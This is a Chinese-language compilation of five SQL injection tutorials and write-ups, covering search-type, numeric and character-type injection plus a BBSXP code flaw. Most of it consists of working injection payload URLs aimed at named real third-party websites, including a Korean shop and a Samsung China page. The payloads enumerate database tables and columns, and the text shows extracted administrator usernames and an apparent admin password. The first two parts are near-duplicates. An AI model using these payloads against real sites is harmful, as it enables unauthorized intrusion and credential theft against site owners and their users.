下面是小编整理的一次简单的搜索型注入脚本安全,本文共5篇,欢迎您阅读,希望对您有所帮助。

篇1:一次简单的搜索型注入脚本安全
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞,然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name>0 and '%'=' //得到当前数据库名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表
其实分析可以知道只有这个tbl_admin表才是最重要的,
接着开始暴列名。
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level
列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。
一会再想别的办法吧。。。。。
篇2:搜索型注入的文章
帖几个baidu出来的关于搜索型注入的文章,百度货,不知道作者是哪个,感谢了先。。 ^_^
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表
其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level
列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了,
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong
www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。
一会再想别的办法吧。。。。。
另外说下,2.3 的啊D支持搜索型的注入方式是:
一般网站的搜索都是部分匹配的
有漏洞的url是notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=
构造注入语句 三星%'and 1=1 and '%'='
三星%'and 1=2 and '%'='
大家看到了吧 两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的
我们知道一般搜索代码是这么写的:
Select * from 表名 where 字段 like ’%关键字%’
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造:
关键字=’ and [查询条件] and ‘%25’=’
这样查询就变成
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
如果不信,大家请看下面的《sql注入天书》的原话
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’,即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
当然手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写:
notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%
再加个特征字符就可以了
篇3:手工注入脚本安全
现在注入工具横行,自动化的程度已经...不能再自动了.
很多人会熟练的使用啊D,明小子之类的自动注入工具.以为自己就会了...
注入的原理呢.什么是注入.为什么会造成注入.过程...等.
你知道吗?你有没有试过真正的手工注入?没吧.
现在就利用我写的手工注入工具来讲解一下总体手工注入过程.
先找个有注入漏洞的站.很简单满大街都是.
www.jinhu168.com/A3/NewsInfo.asp?id=75
manage_User
username admin
password bfpms
id 35
已经找好了.这是一个标准欠黑型网站.安全度就不用说了.
www.jinhu168.com/A3/NewsInfo.asp?id=75
有注入漏洞的地址.检查一下.
基本确定可能有漏洞.继续.
www.jinhu168.com/A3/NewsInfo.asp?id=75 and exists (select * from manage_User)
查询manage_User这个表名是否存在.
不好意思.这工具老出错...录制这个工具不怎么好用.有好用的有空介绍个啊....
好了继续.
manage_User 存在...页面返回正常...
名字改了下`不存在就返回错误的页面`
这里是给你填写提示语句用的`不用的话清空就行了.
继续.
返回正常.说明存在.继续.等等`听电话`
不好意思.
不是1位哦`回显错误.呵呵`5位的`回显正常`
这样我们就知道 他很多东西了`表..项..还有内容长度.
帐号的第一位的第一个字母不是1所以出错.
呵呵`帐号的第一位的第一个字母是a 正确...所以回显正常.
帐号是什么我想都不用怎么想了吧`5位数的admin
确实是的哦....哈哈.
www.jinhu168.com/A3/NewsInfo.asp?id=75 and 1=(select count(*) from [manage_User] where left(username,5)='admin')
为了给大家学习.我把例句都提取出来了.和程序过程是一样的,大家可以研究下.
其他的密码等也是这种过程. 大家明白了吗?要难不是很难`只是要有耐心.如果简单的话就不会出现
全自动的注入工具了.
希望大家在使用我的工具的同时也能学到点东西.
篇4:注入笔记手工注入字符型注入漏洞脚本安全
今天给大家讲解一下字符型注入点注入,也许很多朋友看到字符型的注入大部分都是放弃此注入去寻找其他数字型注入,因为字符型注入应用的不是很广泛,好了,这里我就来交大家字符型注入,
首先打开localhost:/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包 /很明显,字符型注入,
前几张我们说到了判断字符型注入的语句是' and '1'='1 和' and '1'=2 我们来看看。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误。
我们确定了注入点那么我们先看看数字型注入能否在这里使用
先用联合查询 order by
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1 很明显,出错啦,不可使用。
那么再用半猜解查询试试
同样出错。
看来字数字型注入在字符型注入中失效啦,那么我们来试试
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+Manage_User)>0+and+''=' 返回了正常,说明存在manage_user表。
在sql语句中字符型参数必须用单引号闭合(')否则会出错。所以我们在注入中也先要用单引号来闭合语句。
下面我们来猜字段名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(username)+from+Manage_User)>0+and+''=' 返回正常,存在,
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>0+and+''=' 返回正常,存在。
这里我只截一张图。
下面判断一下username中字段长度
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)>4+and+''=' 返回正常
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+top+1+len(password)+from+Manage_User)=5+and+''=' 返回正常
密码字段省略。下面进行猜解用户名。
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,1))=97)+and+''=' 返回正常,username表中第一位是ascll码97,明文为:a
接着猜解第二位:localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+(select+count(*)+from+manage_user+where+asc(mid(username,2))=100)+and+''='
返回正常,username字段中第二位ASCLL码为100,名为为d
这里之后依次往下猜,最后得到username表中数据为:admin,打开数据库看一下是否一样。
这里说明我们猜解正确。
篇5:BBSXP,很多注入脚本安全
By:sobiny[B.C.T]
提交给BBSXP的漏洞公告,官方一点反映都没呢,。
其实主要是他们一个类型的注入太多了。
我都不好意思发出来,发多了手痛。
哎,举例一个。
Search.asp文件
127.0.0.1/Search.asp?menu=Result&ForumID=1&Keywords=aaaaa&Item=ThreadID&DateComparer=365&SortBy=Desc/**/union&VerifyCode=8149
if Request(“menu”)=“Result” then
Keywords=HTMLEncode(Request(“Keywords”))
SortBy=HTMLEncode(Request(“SortBy”))
Item=HTMLEncode(Request(“Item”))
if Keywords=“” then error(“您没有输入任何查询条件!”)
if Request(“VerifyCode”)Session(“VerifyCode”) or Session(“VerifyCode”)=“” then
error(“验证码错误!”)
SQLSearch=“IsApproved=1 and IsDel=0 and ”&Item&“ like '%”&Keywords&“%' ”
if DateComparer > 0 then SQLSearch=SQLSearch&“ and
PostTime>”&SqlNowString&“-”&DateComparer&“ ”
if ForumID > 0 then SQLSearch=SQLSearch&“ and ForumID=”&ForumID&“ ”
sql=“select * from [BBSXP_Threads] where ”&SQLSearch&“ order by ThreadID
”&SortBy&“”
Rs.Open sql,Conn,1
……………………
我汗死,一个语句中,有两个地方可以注入,BBSXP简直太有才了,
。
他们不把这类型的漏洞补了
我还真不准备看了,太多了,BUG。
★Discuz! moderation.inc.php 数据库注射 bug脚本安全
文档为doc格式